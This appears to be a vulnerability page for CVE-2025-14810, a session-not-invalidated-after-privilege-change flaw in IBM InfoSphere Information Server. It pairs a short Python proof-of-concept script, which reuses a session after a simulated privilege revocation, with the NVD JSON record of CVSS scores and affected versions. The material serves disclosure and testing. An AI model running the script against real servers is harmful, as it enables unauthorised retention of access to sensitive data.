CVE-2025-14810

import requests # Target URL target_url = "https://target-server/ibm/iis/protected/resource" # Step 1: Attacker logs in as a privileged user and obtains a session cookie session = requests.Session() login_payload = {"username": "admin", "password": "password"} session.post("https://target-server/login", data=login_payload) print("[+] Logged in and captured session cookie.") # Step 2: Administrator changes the user's privileges externally (simulated) # In a real scenario, the admin revokes 'admin' rights via the console. print("[!] Administrator revokes privileges for 'admin'.") # Step 3: Attacker attempts to access sensitive resource using the OLD session response = session.get(target_url) # Step 4: Check if access is still granted if response.status_code == 200 and "Sensitive Data" in response.text: print("[!] VULNERABILITY CONFIRMED: Session still valid after privilege revocation.") else: print("[-] Access denied or session invalidated.")

{"cve": {"id": "CVE-2025-14810", "sourceIdentifier": "[email protected]", "published": "2026-03-25T21:16:23.997", "lastModified": "2026-03-26T18:22:50.440", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM InfoSphere Information Server 11.7.0.0 through 11.7.1.6 does not invalidate a session after privileges have been modified which could allow an authenticated user to retain access to sensitive information. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L CWE: CWE-613: Insufficient Session Expiration CVSS Source: IBM CVSS Base score: 6.3 CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L)"}, {"lang": "es", "value": "IBM InfoSphere Information Server 11.7.0.0 hasta 11.7.1.6 no invalida una sesión después de que los privilegios han sido modificados, lo que podría permitir a un usuario autenticado retener el acceso a información sensible. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L CWE: CWE-613: Expiración de Sesión Insuficiente Fuente CVSS: IBM Puntuación base CVSS: 6.3 Vector CVSS: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L)"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-613"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:infosphere_information_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.7.0.0", "versionEndIncluding": "11.7.1.6", "matchCriteriaId": "65FBF88B-61F0-4D42-A290-453FDC874D7F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:ibm:aix:-:*:*:*:*:*:*:*", "matchCriteriaId": "E492C463-D76E-49B7-A4D4-3B499E422D89"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7266696", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}